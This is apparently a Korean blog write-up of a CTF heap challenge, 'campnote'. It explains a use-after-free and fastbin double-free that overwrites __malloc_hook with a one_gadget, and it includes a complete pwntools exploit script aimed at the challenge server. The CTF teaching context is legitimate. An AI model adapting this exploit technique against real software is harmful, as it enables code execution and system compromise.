전형적인 메뉴를 이용하는 힙문제다.
최대 19번까지 힙을 할당할 수 있고, heap_context배열안에 포인터를 저장한다.
oob를 막아났지만, free뒤에 heap_context배열을 초기화시키지 않아서 취약점이 발생한다.
free된 힙부분을 볼 수 있어서, 취약점이 생긴다.
1. fastbin에 들어갈 청크 2개 생성
2.unsorted bin에 들어갈만큼의 힙 할당후 해제
3. view로 보아서 libc leak
4.double free bug를 활용해서 fastbin에 들어갈 chunk를 free시킨다.
5. malloc()으로 free한 fastbin에 있던거 1개 할당받고, fd를 malloc_hook부분을 fastbin에 들어갈 크기로 할당할 크기를 잘 맞춰 수정한다.
6. malloc() 2번을 통해서 malloc_hook 부분을 one_gadget으로 덮는다.
6. double free를 통해 에러메시지를 호출함으로서, 쉘을 딴다.
6번이 통하는 이유는 https://lclang.tistory.com/165 이쪽에서 자세하게 확인하면 된다.
from pwn import *
#p = process('./campnote')
p = remote("pwnable.shop", 20202)
e = ELF('./campnote')
l = e.libc
context.log_level="debug"
def malloc(size, content):
p.sendlineafter('>>','1')
p.sendlineafter('size >> ',str(size))
p.sendlineafter('data >> ',str(content))
def free(index):
p.sendlineafter('>>','2')
p.sendlineafter('index >> ', str(index))
def show(index):
p.sendlineafter('>>','3')
p.sendlineafter('index >> ', str(index))
size = 0x7f - 24
malloc(size,1)
malloc(size,'a' *8 + p64(e.got['puts']))
malloc(1024,1)
malloc(1024,1)
free(2)
free(0)
free(1)
free(0)
show(2)
p.recvuntil('data >> ')
libc = u64(p.recv(6).ljust(8,'\x00')) - 88 - 16 - l.sym['__malloc_hook']
log.info('libc : '+ hex(libc))
victim = libc + l.sym['__realloc_hook'] - 11 - 16
log.info('victim_chunk_ptr : ' + hex(victim))
malloc(size, p64(victim))
malloc(size,1)
malloc(size,1)
malloc(size, 'a' * 0x13 + p64(libc +0xf02a4))
free(1)
free(1)
'CTF write-up' 카테고리의 다른 글
Tokyo Western CTF 2017 - Parrot (0) | 2019.10.02 |
---|---|
[hackingcamp2019]bonus (0) | 2019.08.25 |
[hackingcamp2019] (0) | 2019.08.25 |
[dimi_ctf]ezheap (0) | 2019.07.15 |
[dimi_ctf]ropasaurusrex2 (0) | 2019.07.15 |